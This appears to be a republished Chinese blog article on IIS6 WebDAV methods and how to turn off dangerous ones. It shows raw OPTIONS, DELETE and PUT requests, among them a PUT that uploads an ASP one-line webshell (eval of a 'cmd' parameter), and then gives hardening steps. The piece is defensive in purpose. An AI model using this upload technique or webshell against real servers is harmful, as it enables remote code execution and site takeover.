iis6禁用options方法 小议IIS的特殊权限 - IIS - 服务器之家

服务器之家

专注于服务器技术!
当前位置:首页 > Web服务器 > IIS

iis6禁用options方法 小议IIS的特殊权限

发布时间:2017-03-27 来源:服务器之家

 背景:

昨天我犯了一个严重的错误,在对某服务器上的几个网站做安全检测时,由于 JSky的删除文件漏洞导致几个站点的文件
被删除了(我也是后来才意识到JSky的这个漏洞的)。我真的不是故意的,JSky怎么会有这么大的漏 洞呢?那台服务器究竟是如何配置的,怎么如此的不堪一击?IIS究竟有哪些特殊权限呢?

关于JSky的删除文件漏洞:

我是事后才看到了JSky的这个漏洞说明,部分如下:
“Jsky在扫描网站时,如果网站目录开启了写权限,在扫描时,jsky会尝试使 用del来测试目录安全性,但在实际操作中,会删除该网站的所有文件。”

关 于HTTP协议:

Web浏览器和IIS之间的对话依赖于HTTP协议这是众所周知的(其它的Web服务器也是如此)。我们把浏览器发送给IIS的HTTP报文称为HTTP 请求报文,把IIS发送给浏览器的HTTP报文称为HTTP应答报文(以下简称应答
报文)。不光是Web浏览器,其实所有遵 循HTTP协议的应用程序都能和IIS进行的交互(IIS是一个只能看懂HTTP报文的
人,Web浏览器扮演着一个翻译官的角色,它将用户的操作 翻译成请求报文,告知IIS,然后将IIS的应答报文翻译成优美的网页展现给用户),例如我们完全可以通过Telnet远程连接IIS并发送请求报文。一 个典型的HTTP请求报文如下:

Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: gbk,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
If-Modified-Since: Wed, 15 Jul 2009 08:38:34 GMT
If-None-Match: “f430e9a3275ca1:8d9″
Cache-Control: max-age=0

我们重点关注一下上述请求报文的前两行。如下:

Host: localhost

GET – 是HTTP报文的方法(行为,动作),常见的还有POST。

说明: GET方式通常用于向服务器请求一个文件,GET方式也可以向服务器提交数据,提交的数
据以QueryString的形式(形如 age=23&sex=0)在浏览器地址栏中出现(不适合发送隐私数据,例如,密码),并且提交
的数据不能大于1024字节。POST 通常用以客户端向服务器发送表单数据(例如,上传文件),提交的数据不会在浏览器的
地址栏显示,并且提交数据的长度可以超过1024字节。

HTTP/1.1 – 是HTTP协议的版本号。

HOST:localhost – 是主机头,如果IIS下有多个站点,IIS就是根据HOST字段来区别该请求时发送给哪个网站的。

小议IIS的特殊权限:

上 面我们介绍说请求报文的方法最常见的是GET和POST,其实IIS还有很多特殊的行为,下面就根据我个人的理解介绍一下
(可能有偏差,请高手斧 正)。

(1)OPTIONS
OPTIONS 方法请求IIS回显IIS的权限设置,可以通过该方法判断服务器的权限设置。
下面做一个实验:
我 们向iis发送如下报文:

OPTIONS / HTTP/1.1
Host: localhost

iis返回如下:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 03:41:31 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK

Cache-Control: private

Allow 字段之后所列的权限就是该IIS开放的权限,可以看到该IIS开放了写入权限,可以通过PUT方法写入文件,可以通过
DELETE方法删除文件, 可以通过MOVE方法对文件进行重命名。
危险等级:★★

(2)DELETE
DELETE 方法用于删除站点中指定的文件。如果IIS开放了“写入”权限,那么DELETE方法就会 被接受。

下面做一个实验:我们通过DELETE方法删除相对站点根目录为/1.txt的文件,请求报文如下所示:

DELETE /1.txt HTTP/1.1
Host: localhost

应 答报文如下(200响应码表示操作成功了):

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 03:49:24 GMT
Content-Length: 0

JSky在探测DELETE权限时,就是先发送DELETE报 文然后根据应答报文来判断的。如果有DELETE权限,文件就被直接删除了。所以严格来说这也不能算是JSky的一个漏洞。

危险等级:★★★

(3)PUT
PUT方法用于向站点内写入一个文件。如果IIS开放了“写入”权限,那么PUT方法就会被接受。

下面做一个实验,我们通过PUT方法 向站点内写入一个asp一句话木马,请求报文如下:

PUT /help.txt HTTP/1.1
Host: 127.0.0.1
Content-Length: 26

<%eval(request(“cmd”))%>

应 答报文如下(201响应码表示操作成功了):

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 04:19:34 GMT
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

就这样一个马就被上传成功了。好危险啊!
通过实验还发现,最可恶的是,即便站点目录没有允许IIS匿名账户的 NTFS写入权限,上述方法仍然能成功写入文件。除非你拒绝IIS匿名账户的NTFS写入权限。
危险等级:★★★★

(4)COPY ,MOVE
COPY ,MOVE这两个命令通常用复制或移动(或重命名)文件。如果IIS开放了“写 入”权限,那么COPY ,MOVE方法就会成功。

危险等级:★★★

(5)PROPFIND
PROPFIND 方法 用于请求返回指定浏览目录内容。如果IIS开发了“目录浏览权限”,那么使用该方法就能返回站点指定目录下的 文件列表。

危险等级:★★

如何关闭IIS的特殊权限:

通过实验发现,只要 关闭了IIS的“写入”权限,就能阻止“DELETE,PUT ,MOVE ”这些危险的方法。
如下图所示:

我们再次通过OPTION方法 探测一下IIS的权限,IIS应答报文如下所示:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 04:33:35 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

可以看到,关闭了“写入”权限 后,“DELETE,PUT ,MOVE ”这些行为就不被允许了。注:COPY方法IIS默认就
允许,但 是如果没有“写入”权限,COPY是不会成功的。只有关闭了IIS的“读取”权限,“COPY”方法才会被阻止,但是“读取”

权限是站点 正常运行所必须的,因此不能关闭该权限。

另外关闭了IIS的“目录浏览”权限后,PROPFIND方法就无法获取到站点目 录下的文件列表。如下图所示: